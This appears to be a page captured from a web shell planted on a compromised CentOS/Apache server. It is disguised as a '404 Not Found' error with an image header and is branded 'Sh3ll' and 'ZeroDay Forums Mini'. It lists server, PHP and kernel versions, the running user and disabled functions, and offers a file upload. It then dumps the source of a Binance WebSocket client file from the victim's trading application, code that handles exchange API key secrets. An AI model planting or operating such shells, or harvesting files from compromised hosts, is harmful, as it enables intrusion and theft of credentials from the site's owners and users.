404 Not Found

��JFIF�� ( %"1"%)+...383,7(-.- 404 Not Found Sh3ll
Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory : /var/www/html/trader/vendor/linwj/binance/src/Api/WebSocket/
Upload File :
Current File : //var/www/html/trader/vendor/linwj/binance/src/Api/WebSocket/SocketClient.php
<?php
/**
 * @author lin <[email protected]>
 * */

namespace Lin\Binance\Api\WebSocket;

use Lin\Binance\Api\WebSocket\SocketGlobal;
use Lin\Binance\Api\WebSocket\SocketFunction;

use Workerman\Lib\Timer;
use Workerman\Worker;

class SocketClient
{
    use SocketGlobal;
    use SocketFunction;

    private $config=[];
    private $keysecret=[];




    function __construct(array $config=[])
    {
        $this->config=$config;

        $this->client();

        $this->init();
    }

    protected function init(){
        //初始化全局变量
        $this->add('global_key',[]);//保存全局变量key

        $this->add('all_sub',[]);//目前总共订阅的频道

        $this->add('add_sub',[]);//正在订阅的频道

        $this->add('del_sub',[]);//正在删除的频道

        $this->add('keysecret',[]);//目前总共key

        $this->add('global_local',[]);//临时存储数据

        $this->add('debug',[]);
    }

    function keysecret(array $keysecret=[]){
        $this->keysecret=$keysecret;
        return $this;
    }

    /**
     * @param array $sub
     */
    public function subscribe(array $sub=[]){
        // 是否又私有频道订阅
        if(!empty($this->keysecret)) {
            $keysecret=$this->get('keysecret');

            if(!isset($keysecret[$this->keysecret['key']]['connection']))
            $this->keysecretInit($this->keysecret,[
                'connection'=>0,
            ]);
        }

        //$this->save('add_sub',$sub);
        $add_sub=$this->get('add_sub');
        if(empty($add_sub)) $this->save('add_sub',$sub);
        else $this->save('add_sub',array_merge($sub,$add_sub));
    }

    /**
     * @param array $sub
     */
    public function unsubscribe(array $sub=[]){
        // 是否又私有频道订阅
        if(!empty($this->keysecret)) {
            if(!isset($keysecret[$this->keysecret['key']]['connection']))
            $this->keysecretInit($this->keysecret,[
                'connection_close'=>1,
            ]);
        }

        $this->save('del_sub',$sub);
    }

    /**
     * @param array $sub    默认获取所有public订阅的数据，private数据需要设置keysecret
     * @param null $callback
     * @param bool $daemon
     * @return mixed
     */
    public function getSubscribe(array $sub,$callback=null,$daemon=false){
        if($daemon) $this->daemon($callback,$sub);

        return $this->getData($this,$callback,$sub);
    }

    /**
     * 返回订阅的所有数据
     * @param null $callback
     * @param bool $daemon
     * @return array
     */
    public function getSubscribes($callback=null,$daemon=false){
        if($daemon) $this->daemon($callback);

        return $this->getData($this,$callback);
    }

    protected function daemon($callback=null,$sub=[]){
        $worker = new Worker();
        $worker->onWorkerStart = function() use($callback,$sub) {
            $global = $this->client();

            $time=isset($this->config['data_time']) ? $this->config['data_time'] : 0.1 ;

            Timer::add($time, function() use ($global,$callback,$sub){
                $this->getData($global,$callback,$sub);
            });
        };
        Worker::runAll();
    }

    /**
     * @param $global
     * @param null $callback
     * @param array $sub 返回规定的频道
     * @return array
     */
    protected function getData($global,$callback=null,$sub=[]){
        $all_sub=$global->get('all_sub');
        if(empty($all_sub)) return [];

        $global_local=$global->get('global_local');
        $temp=[];

        //默认返回所有数据
        if(empty($sub)){
            foreach ($all_sub as $k=>$v){
                if(is_array($v)){
                    if(empty($this->keysecret) || $this->keysecret['key']!=$k) continue;

                    foreach ($v as $vv){
                        $data=$global->getQueue($vv);
                        $temp[$vv]=$data;
                    }
                }else{
                    //$data=$global->get($v);
                    if(isset($global_local['public'][$v])) $temp[$v]=$global_local['public'][$v];
                }
            }
        }else{
            //返回规定的数据
            if(!empty($this->keysecret)) {
                //是否有私有数据
                if(isset($all_sub[$this->keysecret['key']])) $sub=array_merge($sub,$all_sub[$this->keysecret['key']]);

            }
            //print_r($sub);die;
            foreach ($sub as $k=>$v){
                //判断私有数据是否需要走队列数据
                $temp_v=explode(self::$USER_DELIMITER,$v);
                if(count($temp_v)>1){
                    //private
                    $data=$global->getQueue($v);
                }else{
                    //public
                    //$data=$global->get($v);
                    if(isset($global_local['public'][$v])) $data=$global_local['public'][$v];
                }

                if(empty($data)) continue;

                $temp[$v]=$data;
            }

        }

        if($callback!==null){
            call_user_func_array($callback, array($temp));
        }

        return $temp;
    }

    /*
     *
     * */
    function reconPrivate(string $key){
        $debug=$this->client->debug;
        if(empty($debug)){
            $this->client->debug=[
                'private'=>[$key=>$key],
            ];
        }else{
            $this->client->debug=['private'=>array_merge($this->client->debug['private'],[$key=>$key])];
        }
    }

    function reconPublic(){
        $this->client->debug=[
            'public'=>['market'=>'close','kline'=>'close'],
        ];
    }

    function test(){
        print_r($this->client->all_sub);
        print_r($this->client->add_sub);
        print_r($this->client->del_sub);
        print_r($this->client->keysecret);
        print_r($this->client->global_key);
    }

    function test2(){
        $global_key=$this->client->global_key;
        foreach ($global_key as $k=>$v){
            echo count($this->client->$v).'----'.$k.PHP_EOL;
            echo json_encode($this->client->$v).PHP_EOL;
        }
    }

    function test_reconnection(){
        $this->reconPublic();
    }

    function test_reconnection2(){
        $this->client->debug2=1;
    }

    function test_reconnection3($key){
        $this->reconPrivate($key);
    }
}
ZeroDay Forums Mini